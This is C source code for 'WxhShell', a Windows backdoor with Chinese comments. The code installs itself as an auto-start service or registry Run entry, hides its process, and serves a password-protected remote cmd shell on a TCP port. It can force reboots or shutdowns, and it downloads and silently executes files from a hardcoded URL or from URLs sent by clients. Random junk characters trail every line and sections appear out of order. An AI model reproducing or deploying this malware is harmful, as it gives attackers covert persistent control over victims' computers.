    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  }.6[qk  
    if(Boot(SHUTDOWN))  f.)O2=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$vK&k  
    else { Y}wyw8g/  
    closesocket(wsh); w\O;!1iU  
    ExitThread(0); 61U09s%\0  
    } WH^%:4  
    break; IH+|}z4N?>  
    } 0o&5 ]lEe  
  // 获取shell _H@DLhH|=  
  case 's': { SE*g;Cvg1  
    CmdShell(wsh); )9]PMA?u  
    closesocket(wsh); 9hyn`u.  
    ExitThread(0); 3=oDQ&UFt  
    break; N"ST@/j.A  
  } |2A:eI8 ^  
  // 退出 |`FY1NN   
  case 'x': { FGzwhgy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wUJcmM;  
    CloseIt(wsh); p5*EA x  
    break; cH2K )~  
    } 1< ?4\?j  
  // 离开 3Jn ;}  
  case 'q': { N?8!3&TiV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "#g}ve,  
    closesocket(wsh); Wx#;E9=Im  
    WSACleanup(); *{5fq_  
    exit(1); {_*yGK48n  
    break; m]&SNz=  
        } B33\?Yj)  
  } 4<v&S2Yq  
  } F"mmLao  
n=q 76W\  
  // 提示信息 e'<)V_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o+VQ\1as?(  
} ?V=CB,^  
  } q,%st~  
y1#1Ne_  
  return; cz$2R  
} ;AG()NjOO:  
6S{l' !s'  
// shell模块句柄 |':{lH6+1  
int CmdShell(SOCKET sock) l+b~KU7~l  
{ #0<XNLM  
STARTUPINFO si; z(~_AN M4,  
ZeroMemory(&si,sizeof(si)); `GLx#=Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !@"OB~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vt ohL+  
PROCESS_INFORMATION ProcessInfo; D m9sL!  
char cmdline[]="cmd"; OZ&o:/*HM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8?C5L8)  
  return 0; &e3.:[~_?  
} KY^Z  
D/' dTrR  
// 自身启动模式 J~- 4C)  
int StartFromService(void) 8cQ'dL`(  
{ ,"ql5Q4  
typedef struct ##ANrG l  
{ :zR!/5  
  DWORD ExitStatus; @o.I;}*N  
  DWORD PebBaseAddress; sR8"3b<qA  
  DWORD AffinityMask; `F6C-  
  DWORD BasePriority; BJ0?kX@  
  ULONG UniqueProcessId; j+YJbL v  
  ULONG InheritedFromUniqueProcessId; #LCb  
}   PROCESS_BASIC_INFORMATION; hv+zGID7  
xN(|A}w  
PROCNTQSIP NtQueryInformationProcess; T9&1VW  
rM "l@3hP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c`Wa^(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u=yOu^={  
L0]_X#s>#  
  HANDLE             hProcess; . ]M"# \  
  PROCESS_BASIC_INFORMATION pbi; mA}"a<0  
?%kV?eu'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2TuU2 f.  
  if(NULL == hInst ) return 0; I?NyM  
YbLW/E\T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A\;U3Zu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |'2d_vR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |&jXp%4T  
0(btA~'*  
  if (!NtQueryInformationProcess) return 0; -{_PuJ "  
3mni>*q7d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j~QwV='S  
  if(!hProcess) return 0; ]{LjRSV  
)_NO4`ejs/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h7I{ 4  
$7uA%|\  
  CloseHandle(hProcess); {_dvx*M  
0?M:6zf_iv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xry4 7a )  
if(hProcess==NULL) return 0; . [ mR M  
KG5>]_GH  
HMODULE hMod; Lh<).<S  
char procName[255]; KY N0  
unsigned long cbNeeded; #o2[hibq  
1i ] ^{;]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y4(  
8x{'@WCG%  
  CloseHandle(hProcess);  7[wieYj{  
m#F`] {  
if(strstr(procName,"services")) return 1; // 以服务启动 ],v=]+R  
VD\=`r)nT  
  return 0; // 注册表启动 4H<lm*!^  
} OUXR  
188*XCtjQ9  
// 主模块 j8`BdKg  
int StartWxhshell(LPSTR lpCmdLine) @OHm#`~  
{ :/Qq@]O>  
  SOCKET wsl; @ry_nKr9  
BOOL val=TRUE; _/K_[w 1  
  int port=0; b%5f&N  
  struct sockaddr_in door; 6MkP |vr6  
E@3aI Axh  
  if(wscfg.ws_autoins) Install(); (!N|Kl  
0K2`-mL  
port=atoi(lpCmdLine); ilx)*Y  
q#=(e:aCb  
if(port<=0) port=wscfg.ws_port;  !=P1%  
"!%l/_p?  
  WSADATA data;  'CkIz"Wd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w=J3=T@TD  
~O &:C{9=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =$Nq   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7{I0s;R  
  door.sin_family = AF_INET; KNIn:K^/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Da&]y  
  door.sin_port = htons(port); 3x'|]Ns  
BKjS ,2C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _t #k,;  
closesocket(wsl); R',rsGd`6j  
return 1; hNmJ!Uo  
} 'u |c  
HqT#$}rv  
  if(listen(wsl,2) == INVALID_SOCKET) { 6MMOf\   
closesocket(wsl); <T|3`#o0  
return 1; Hn+~5@.  
} \Et3|Iv  
  Wxhshell(wsl); i5Yb`Z[Y  
  WSACleanup(); }oGA-Qc}B  
6.nCV 0xA  
return 0; FZslv"F  
8i#2d1O  
} F%D.zvKN  
EVC]sUT  
// 以NT服务方式启动 &H/'rd0M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xg!{K3OS  
{ MXNFlP  
DWORD   status = 0; *kDCliL  
  DWORD   specificError = 0xfffffff; #-i>;Rt  
70tH:Z)"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G.a bql  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N.{H,oO `  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JL}_72gs  
  serviceStatus.dwWin32ExitCode     = 0; c>:wd@w  
  serviceStatus.dwServiceSpecificExitCode = 0; T{ XS")Vw  
  serviceStatus.dwCheckPoint       = 0; ARwD~ Tr  
  serviceStatus.dwWaitHint       = 0; =BAW[%1b  
'Nn zk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BdblLUGK#  
  if (hServiceStatusHandle==0) return; -Xm'dwm  
ca*DZG/  
status = GetLastError(); >T3-  
  if (status!=NO_ERROR) Mhf5bN|wQ  
{ [<6^qla  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9YQb &  
    serviceStatus.dwCheckPoint       = 0; Rmt~,cW!\  
    serviceStatus.dwWaitHint       = 0;  zC@o  
    serviceStatus.dwWin32ExitCode     = status; V0.vQ/  
    serviceStatus.dwServiceSpecificExitCode = specificError; rt~d6|6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); suiS&$-E  
    return; (G4at2YLd  
  } JZ*/,|1}EC  
Gm.T;fc:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j9 4=hJVKi  
  serviceStatus.dwCheckPoint       = 0; \[_t]'p  
  serviceStatus.dwWaitHint       = 0; "ZoRZ'i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lC("y' ::  
} ~>Fu5i $i  
a#y;dK  
// 处理NT服务事件,比如:启动、停止 [-k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bvr^zH,C  
{ FR4QUk  
switch(fdwControl) ?2;&O`x*  
{ Cc' 37~6~P  
case SERVICE_CONTROL_STOP: fg!__Rdi  
  serviceStatus.dwWin32ExitCode = 0; ith 3 =`3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; foF({4q7b^  
  serviceStatus.dwCheckPoint   = 0; aa?b`[Xa  
  serviceStatus.dwWaitHint     = 0; aS{n8P6vW  
  { k,E{C{^M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2"kLdD  
  } bv9i*]  
  return; (vPN5F  
case SERVICE_CONTROL_PAUSE: 6?mibvK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z Rl3KjET  
  break; p7VTa~\zA  
case SERVICE_CONTROL_CONTINUE: qL&[K>2z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V>)OpvoT#  
  break; ogtEAv~e7N  
case SERVICE_CONTROL_INTERROGATE: YEs&  
  break; 9T}pT{~V  
}; S)k*?dQ##R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {M$1N5Eh  
} oMD>Yw c-  
/-ch`u md  
// 标准应用程序主函数 iNz=e=+Si  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tl4V7!U@^z  
{ m )zUU  
1k5Who@  
// 获取操作系统版本 @ ZwvBH  
OsIsNt=GetOsVer(); yw[g!W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FQ2  
YTpSHpf@  
  // 从命令行安装 o\<ULW*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ic:(Gi- %  
+L| ?~p`V  
  // 下载执行文件 B5VKs,g  
if(wscfg.ws_downexe) { mpEK (p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AGO+p(6d=g  
  WinExec(wscfg.ws_filenam,SW_HIDE); r CHl?J  
} gQelD6c  
OU(8V^.  
if(!OsIsNt) { eRstD>r  
// 如果时win9x,隐藏进程并且设置为注册表启动 *74MWF@IY  
HideProc(); +I:Unp  
StartWxhshell(lpCmdLine); cAqLE\h  
} uR4z &y  
else qIE9$7*X  
  if(StartFromService()) 9:[  9v  
  // 以服务方式启动  O67W&nz  
  StartServiceCtrlDispatcher(DispatchTable); Mj?`j_X  
else q&- `,8#  
  // 普通方式启动 qI9z;_,gNz  
  StartWxhshell(lpCmdLine); B =T'5&  
Bz-c$me1  
return 0; D~fl JR  
} f:,DWw`B  
8f 4b&ah  
L>NL:68yN  
EHIF>@TZ  
=========================================== y`5 9A  
YQ)kRhFA  
9@:2wR |  
)Y0!~# `  
G1tY)_-8[  
Jbg/0|1  
" w"|L:8  
k[YS8g-Q  
#include <stdio.h> M}-Rzc  
#include <string.h> vjCu4+w($Z  
#include <windows.h> w\u=)3qyVV  
#include <winsock2.h> ^Za-`8#`L  
#include <winsvc.h> uc\Kg1{  
#include <urlmon.h> *?>T,gx}  
9(7-{,c  
#pragma comment (lib, "Ws2_32.lib") JPUW6e07o  
#pragma comment (lib, "urlmon.lib") @4#c&h 3  
A#<?4&  
#define MAX_USER   100 // 最大客户端连接数 IGQFtO/x  
#define BUF_SOCK   200 // sock buffer su( 1<S}  
#define KEY_BUFF   255 // 输入 buffer \fd v]f  
SmH=e@y~Lx  
#define REBOOT     0   // 重启 M `M5'f  
#define SHUTDOWN   1   // 关机 $G+@_'  
GPudaF{  
#define DEF_PORT   5000 // 监听端口 P=Jo+4O  
'ya{9EdlT  
#define REG_LEN     16   // 注册表键长度 MUc$ j&  
#define SVC_LEN     80   // NT服务名长度 (OL4Ex']  
[ /b2=>  
// 从dll定义API |F[+k e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hH 3RP{'=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]7BvvQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  `25yE/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MrFQ5:=  
3M7/?TMw{6  
// wxhshell配置信息 iy!=6  
struct WSCFG { 2- h{N  
  int ws_port;         // 监听端口 Sy_G,+$\  
  char ws_passstr[REG_LEN]; // 口令 >T-u~i$s  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]p GL`ge5  
  char ws_regname[REG_LEN]; // 注册表键名 'sKk"bi;0  
  char ws_svcname[REG_LEN]; // 服务名 m? }6)\ob  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o#Dk& cH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hWLA<wdb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f~R(D0@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _< V)-Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fU}ub2_in  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .! 3|&V'<  
&PHTpkaam  
}; #gN&lY:CFn  
Hzz %3}E  
// default Wxhshell configuration o5PO =AN  
struct WSCFG wscfg={DEF_PORT, X`K<>0.N  
    "xuhuanlingzhe", U '_Q>k  
    1, *:7rdzn  
    "Wxhshell", h7oo7AP  
    "Wxhshell", f'RX6$}\1X  
            "WxhShell Service", iWkWR"ys y  
    "Wrsky Windows CmdShell Service", /36:ms A  
    "Please Input Your Password: ", Gb6'n$g  
  1, `$ 9x1dx  
  "http://www.wrsky.com/wxhshell.exe", ,[KD,)3y  
  "Wxhshell.exe" t{9GVLZ  
    }; WpP}stam/  
*?vCC+c  
// 消息定义模块 ^{`exCwM x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b8t7u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C{rcs'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !;A\.~-!G  
char *msg_ws_ext="\n\rExit."; @,+5y\]C  
char *msg_ws_end="\n\rQuit."; 8TKnL\aar  
char *msg_ws_boot="\n\rReboot..."; IEi^kJflU  
char *msg_ws_poff="\n\rShutdown..."; ED gag  
char *msg_ws_down="\n\rSave to ";  mq.`X:e  
vvMT}-!  
char *msg_ws_err="\n\rErr!"; YD6'#(  
char *msg_ws_ok="\n\rOK!"; &p@O _0nF  
$s:aW^k  
char ExeFile[MAX_PATH]; *i%d,w0+  
int nUser = 0; $6 f3F?y7  
HANDLE handles[MAX_USER]; {;1\+ f  
int OsIsNt; =dKtV.L  
%tGO?JMkd  
SERVICE_STATUS       serviceStatus; wi=v}R_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x 9fip-  
a;+9mDXx:  
// 函数声明 6cXyJW  
int Install(void); Jnov<+  
int Uninstall(void); Q1 97mN+0  
int DownloadFile(char *sURL, SOCKET wsh); Y:[u1~a  
int Boot(int flag); chX"O 0?"  
void HideProc(void); #X1ND  
int GetOsVer(void); U5de@Y  
int Wxhshell(SOCKET wsl); aW7^d'ZZ\  
void TalkWithClient(void *cs); )y$(AJx$  
int CmdShell(SOCKET sock); ;.980+i1  
int StartFromService(void); li.;IWb0+)  
int StartWxhshell(LPSTR lpCmdLine); sO@Tf\d  
Q;rX;p^W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~]2K ^bh8&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^1.By^ $  
5\ nAeP  
// 数据结构和表定义 R\[e!g*I  
SERVICE_TABLE_ENTRY DispatchTable[] = a:w#s}bL  
{ (GfZ*  
{wscfg.ws_svcname, NTServiceMain}, ' `Hr}  
{NULL, NULL} Dlvz )  
}; ;4\;mmLVk  
\9T7A&  
// 自我安装 [7y]n;Fy  
int Install(void) #H~64/  
{ K}Qa~_  
  char svExeFile[MAX_PATH]; T>W,'H  
  HKEY key; es7=%!0  
  strcpy(svExeFile,ExeFile); i83OOV$1J  
kAUymds;O  
// 如果是win9x系统,修改注册表设为自启动 BI@[\aRLQ  
if(!OsIsNt) { 1 'Dai`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v]UwJz3<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ");a3hD  
  RegCloseKey(key); JxU5 fe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nh +H9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fk-RV>yr  
  RegCloseKey(key); C0Z=~Q%  
  return 0; v3>UV8c'  
    } \  Cj7k^  
  } OY({.uVdX  
} e\/w'  
else { w0unS`\4  
,V}WM%Km  
// 如果是NT以上系统,安装为系统服务 ^iYj[~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u*9V&>o  
if (schSCManager!=0) U6s[`H3I{  
{ dj%!I:Q>u  
  SC_HANDLE schService = CreateService G3v5KmT  
  ( 2Tppcj v  
  schSCManager, `Q,H|hp;k;  
  wscfg.ws_svcname, DtnEi4h,  
  wscfg.ws_svcdisp, f*8DCh!r"  
  SERVICE_ALL_ACCESS, 8q7b_Pq1U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *X}`PF   
  SERVICE_AUTO_START, <#HYqR',  
  SERVICE_ERROR_NORMAL, cB&:z)i4  
  svExeFile, #`s"WnP9'!  
  NULL, C7AUsYM  
  NULL,  9gZ$   
  NULL, Rf 1x`wml  
  NULL, +"VP-s0  
  NULL / XIhj  
  ); i!Ga5v8n:  
  if (schService!=0) bZV/l4TU  
  { IE~ |iQ?-  
  CloseServiceHandle(schService); U/BR*Zn]*  
  CloseServiceHandle(schSCManager); syK^<xa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4KrL{Z+}  
  strcat(svExeFile,wscfg.ws_svcname); 5kXYeP3:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ga'swP=hf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ikOb8 G#  
  RegCloseKey(key); ig &Y  
  return 0; vr^qWn  
    } Du){rVY^d  
  } YK~%xo  
  CloseServiceHandle(schSCManager); DlNX 3  
} ~PNub E  
} B7vpsSL  
>F&47Yn  
return 1; h)nG)|c  
} $, '*f?d  
dcT80sOC  
// 自我卸载 e?f IXk~b  
int Uninstall(void) t&DEb_"De  
{ c[Zje7 @  
  HKEY key; 5*D/%]YsD  
C"enpc_C/  
if(!OsIsNt) { O|UC ?]6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b<u3 hln%,  
  RegDeleteValue(key,wscfg.ws_regname); /H+a0`/  
  RegCloseKey(key); L&OwPd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5NLDYi@3  
  RegDeleteValue(key,wscfg.ws_regname); ;6hOx(>`=  
  RegCloseKey(key); dAe')N:KPI  
  return 0; n?K  
  } da~],MN  
} 2VCI 1E  
} W+1^4::+  
else { j 1HW._G  
>i-"<&#jG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kz7(Z'pw  
if (schSCManager!=0) G9vpt M  
{ ]jRfH(i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q)z8PQl O  
  if (schService!=0) Nl(Foya%)  
  { bK-N:8Z  
  if(DeleteService(schService)!=0) { EDs\,f}  
  CloseServiceHandle(schService); d8x;~RA  
  CloseServiceHandle(schSCManager); ~.lPEA %%  
  return 0; h3@v+Z<}  
  } 0'o:#-  
  CloseServiceHandle(schService); -RK- Fu<e  
  } FN) $0  
  CloseServiceHandle(schSCManager); BJo*'US-Q  
} "G9xMffW  
} w^0nqh  
"Os_vlapHo  
return 1; -+-_I*(  
} SOvF[,+  
[;myHI`tw  
// 从指定url下载文件 Ef13Q]9|  
int DownloadFile(char *sURL, SOCKET wsh) 0S$N05  
{ 1]/.` ]1  
  HRESULT hr; n>U5R_T  
char seps[]= "/"; sds"%]r g  
char *token; H~z`]5CN  
char *file; Hl |z</*+  
char myURL[MAX_PATH]; B@ KQ]4-  
char myFILE[MAX_PATH]; 1D!<'`)AY  
)IZ~G\Ra'  
strcpy(myURL,sURL); URbletSBQ  
  token=strtok(myURL,seps); ^@NU}S):yN  
  while(token!=NULL) g5r(>,vY  
  { G?Hdq;  
    file=token; ZO$%[ftb  
  token=strtok(NULL,seps); c<$OA=n  
  } )p%E%6p  
5bpEYW+  
GetCurrentDirectory(MAX_PATH,myFILE); >Wg hn:^  
strcat(myFILE, "\\"); k~ /Nv=D  
strcat(myFILE, file); >`ZyG5  
  send(wsh,myFILE,strlen(myFILE),0); sZF6h=67D  
send(wsh,"...",3,0); A1zjPG&]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hc(OI|z~  
  if(hr==S_OK) !0mI;~q|F  
return 0; cDH^\-z  
else l0A&9g*l2  
return 1; #$qTFN  
/J6rv((  
} K:30_l<  
mvT(.R ..s  
// 系统电源模块 "C0Q(dr/n  
int Boot(int flag) GYUn6P  
{ jPW#(3hoE  
  HANDLE hToken; "o}+Ciul  
  TOKEN_PRIVILEGES tkp; A '];`  
3"KCh\\b  
  if(OsIsNt) { [Nbm|["q~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E\pL!c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H\tUpan6fy  
    tkp.PrivilegeCount = 1; D]Xsvv #  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 03S]8l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G,Azm }+  
if(flag==REBOOT) { K~eh P[^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0T5L_%c  
  return 0; AoL2@C.C%D  
} 2Dj%,gaR  
else { ?R.j^ S^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u.Tcg^v  
  return 0; Lrq .Ab#  
} 9.B KI/  
  } 9ahWIO %  
  else { PGV/ h  
if(flag==REBOOT) { GD_hhDyD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SPmq4  
  return 0; _?0}<k Q&  
} t "'7m^j  
else { UVIKQpA]A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >y:,9;  
  return 0; q2:6QM&  
} 'K{Z{[s{  
} qfRH5)k  
ILShd)]Rw  
return 1; RMWHN:9  
} !s?nJ(p  
2/=l|!JKLz  
// win9x进程隐藏模块 /?F/9hL  
void HideProc(void) DG ;_Vg  
{ lHe{\N[C  
wLJ:\_Jaf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bj-: #P@  
  if ( hKernel != NULL ) @Y<bwv  
  { =\wxsL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y^v6AM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F Yzi~L  
    FreeLibrary(hKernel); kH7(@Pa  
  } q ]e`9/U  
P?B;_W+~A.  
return; 3L}!RB  
} =sJ7=39  
6'G6<8 >-  
// 获取操作系统版本 ?3zc=J"t  
int GetOsVer(void) 8sM|%<$=j  
{ 4\u1TYR  
  OSVERSIONINFO winfo; /-+xQn]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q&=w_Wc  
  GetVersionEx(&winfo); _zn.K&I-*k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m\r@@!  
  return 1; {NFr]LGOp  
  else hp7|m0.JW  
  return 0; h"_;IUZ!  
} vyX\'r.~7  
LzXmb 7A  
// 客户端句柄模块 D rHV G  
int Wxhshell(SOCKET wsl) p#?7 w  
{ <vh/4  
  SOCKET wsh; ^l=!JP=M=  
  struct sockaddr_in client; >dG;w6y'  
  DWORD myID; h WtVWVNL  
I]<_rN8~o  
  while(nUser<MAX_USER) BJsz2t :0  
{ '\ey<}?5V  
  int nSize=sizeof(client); b8"?VS5-"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %gyLCTw  
  if(wsh==INVALID_SOCKET) return 1; L>W'LNXCv  
`W:%mJd9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iAa.}CI,zB  
if(handles[nUser]==0) v99B7VH4  
  closesocket(wsh); hj B@o#S  
else 3U.88{y  
  nUser++; 'y2nN=CN  
  } YoZFwRQU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9N<<{rQ,F  
1[qLA!+  
  return 0; v~V5`%  
} y8L D7<1u  
Z X(z;|l45  
// 关闭 socket G_{&sa  
void CloseIt(SOCKET wsh) wF,UE _  
{ K[Kh&`T  
closesocket(wsh); !?p%xj?  
nUser--; u7\J\r4,+  
ExitThread(0); ^ZhG>L*  
} 5b/|!{  
d`nVc50  
// 客户端请求句柄 Nq` C.&  
void TalkWithClient(void *cs) Nz+9 49X  
{ L ugn 3+  
ng:9 l3 x  
  SOCKET wsh=(SOCKET)cs; ang~<  
  char pwd[SVC_LEN]; ?^$MRa:D  
  char cmd[KEY_BUFF]; %K` % *D  
char chr[1]; ll6wpV0m  
int i,j; Vf'd*-_!Q<  
Fpa ;^F  
  while (nUser < MAX_USER) { \"^w'ng  
a /#PLP  
if(wscfg.ws_passstr) { \ 3?LqJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [}8|R0KF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W$rH"_@m  
  //ZeroMemory(pwd,KEY_BUFF); W4e5Rb4~f"  
      i=0; x~{;TZa[I  
  while(i<SVC_LEN) { \B 0ywN?  
Z@&Dki  
  // 设置超时 s#DaKPC  
  fd_set FdRead; NqEA4C  
  struct timeval TimeOut; J-) XQDD  
  FD_ZERO(&FdRead); T[4<R 5}  
  FD_SET(wsh,&FdRead); dd%h67J2<  
  TimeOut.tv_sec=8; )\be2^p  
  TimeOut.tv_usec=0; w@ c87;c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]Xf% ,iu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'XofD}dm  
i|}[A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +|@rD/I6  
  pwd=chr[0]; 9,_mS{+B  
  if(chr[0]==0xd || chr[0]==0xa) { B`o]*"xkB  
  pwd=0; ;3@YZM'wt  
  break; Ns0cgCrhX  
  } @qjfZH@  
  i++; X*Dj[TD]  
    } mp?78_I)  
3g~^[&|i  
  // 如果是非法用户,关闭 socket T<@cd|`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J}@z_^|"mJ  
} {^rs#, W  
!\#_Jw%y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )0e2ic/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xD /9F18  
jhX[fT1m  
while(1) { ;Y mTw  
LIVU^Os.  
  ZeroMemory(cmd,KEY_BUFF); ^1x*lLf  
P"?FnTbv[  
      // 自动支持客户端 telnet标准   >Clh] ;K  
  j=0; ?@t  d  
  while(j<KEY_BUFF) { $GQ-(/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )T66<UDK|  
  cmd[j]=chr[0]; )VK }m9Ae  
  if(chr[0]==0xa || chr[0]==0xd) { 7GS V  
  cmd[j]=0; #9 fWAF  
  break; m6yIR6H  
  } je4w=]JV  
  j++; ?D)<,  
    } 6PF8 /@Nh  
Hiv!BV|  
  // 下载文件 f0SAP0M3  
  if(strstr(cmd,"http://")) { -MugnB6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,j ',x\  
  if(DownloadFile(cmd,wsh)) nL}5cPI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fiI $T:g.  
  else Lru-u:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j! NO|&k  
  } ;t> Z+O%  
  else { $]&(7@'qo  
BtdXv4V  
